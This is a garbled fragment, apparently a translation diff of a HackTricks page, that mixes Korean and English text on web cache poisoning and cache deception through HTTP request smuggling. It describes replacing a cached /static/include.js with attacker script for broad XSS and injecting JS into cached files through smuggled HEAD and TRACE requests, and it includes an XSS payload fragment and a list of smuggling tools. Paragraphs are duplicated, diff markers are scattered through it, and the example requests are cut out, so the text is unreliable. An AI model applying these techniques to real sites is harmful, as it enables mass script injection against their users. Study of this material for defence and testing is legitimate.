웹 캐시 오염은 **프론트엔드 인프라의 어떤 구성 요소가 콘텐츠를 캐시**할 경우 실행될 수 있으며, 일반적으로 성능 향상을 위해 사용됩니다. 서버의 응답을 조작함으로써 **캐시를 오염**시킬 수 있습니다.
이전에 서버 응답을 변경하여 404 오류를 반환하는 방법을 관찰했습니다 (참조: [기본 예제](./#basic-examples)). 유사하게, 서버를 속여 `/static/include.js` 요청에 대한 응답으로 `/index.html` 콘텐츠를 제공하도록 할 수 있습니다. 결과적으로, `/static/include.js` 콘텐츠는 캐시에서 `/index.html`의 내용으로 대체되어 사용자가 `/static/include.js`에 접근할 수 없게 되며, 이는 서비스 거부(DoS)로 이어질 수 있습니다.
이전에 서버 응답을 변경하여 404 오류를 반환하는 방법을 관찰했습니다 (참조: [기본 예제](./#basic-examples)). 유사하게, 서버를 속여 `/static/include.js` 요청에 대한 응답으로 `/index.html` 콘텐츠를 제공하도록 할 수 있습니다. 결과적으로 `/static/include.js` 콘텐츠는 캐시에서 `/index.html`의 내용으로 대체되어, `/static/include.js`에 대한 접근이 사용자에게 불가능해지며, 이는 서비스 거부(DoS)로 이어질 수 있습니다.
이 기술은 **오픈 리다이렉트 취약점**이 발견되거나 **오픈 리다이렉트로의 사이트 내 리다이렉트**가 있을 경우 특히 강력해집니다. 이러한 취약점을 이용하여 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 교체할 수 있으며, 이는 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대한 광범위한 교차 사이트 스크립팅(XSS) 공격을 가능하게 합니다.
이 기술은 **오픈 리다이렉트 취약점**이 발견되거나 **오픈 리다이렉트로의 사이트 내 리다이렉트**가 있을 경우 특히 강력해집니다. 이러한 취약점을 이용하여 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 교체할 수 있으며, 이는 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대한 광범위한 크로스 사이트 스크립팅(XSS) 공격을 가능하게 합니다.
아래는 **사이트 내 리다이렉트와 오픈 리다이렉트를 결합한 캐시 오염 활용**의 예시입니다. 목표는 공격자가 제어하는 JavaScript 코드를 제공하기 위해 `/static/include.js`의 캐시 콘텐츠를 변경하는 것입니다:
```
@ -480,12 +506,12 @@ After successful **socket poisoning**, a **GET request** for `/static/include.js
Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### HTTP 요청 밀반입을 사용하여 웹 캐시 속임수를 수행하기 <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **웹 캐시 오염과 웹 캐시 기만의 차이점은 무엇인가요?**
> **웹 캐시 오염과 웹 캐시 속임수의 차이점은 무엇인가요?**
>
> * **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하며, 이 콘텐츠는 다른 애플리케이션 사용자에게 캐시에서 제공됩니다.
> * **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하며, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
> * **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하고, 이 콘텐츠가 다른 애플리케이션 사용자에게 캐시에서 제공됩니다.
> * **웹 캐시 속임수**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
```markdown
@ -520,7 +546,7 @@ XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent data**.\
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response. \
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
### TRACE를 HTTP 응답 분할을 통해 악용하기 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
@ -678,7 +704,7 @@ time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
```
## 도구
## Tools
* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
@ -687,7 +713,7 @@ table.add(req)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 이 도구는 이상한 요청 스머글링 불일치를 찾는 데 유용한 문법 기반 HTTP 퍼저입니다.
## 참고자료
## References
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -697,18 +723,19 @@ table.add(req)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
<summary>Support HackTricks</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}